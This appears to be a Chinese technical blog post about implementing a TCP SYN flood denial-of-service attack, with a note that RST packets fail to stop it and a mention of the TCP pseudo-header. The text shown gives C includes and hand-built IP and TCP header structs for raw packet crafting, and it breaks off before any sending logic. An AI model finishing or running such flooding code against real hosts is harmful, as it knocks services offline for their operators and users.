syn包发送（拒绝攻击，但是有问题）

最新推荐文章于 2025-04-29 10:01:11 发布

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最新推荐文章于 2025-04-29 10:01:11 发布 · 1.7k 阅读

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#syn

博客讨论了TCP SYN攻击的实现问题，特别是RST报文无法有效阻断攻击的情况，并提到了TCP协议中的伪首部概念作为知识点补充。

实现上的问题：rst报文无法阻断

#include "stdio.h"
#include "sys/socket.h"
#include "sys/time.h"
#include "sys/types.h"
#include "string.h"
#include "unistd.h"
#include "netdb.h"
#include "time.h"
#include "netinet/in.h"
#include "arpa/inet.h"
#include "stdlib.h"
struct IPHEAD{
    unsigned char ver_hlen;
    unsigned char tos;
    unsigned short dlen;
    unsigned short brand;
    unsigned short f_index;
    unsigned char ttl;
    unsigned char proto;
    unsigned short checksum;
    unsigned int src;
    unsigned int des;
};//no item
int f=1;
struct TCPHEAD{
    unsigned short srcport;
    unsigned short desport;
    unsigned int seq;
    unsigned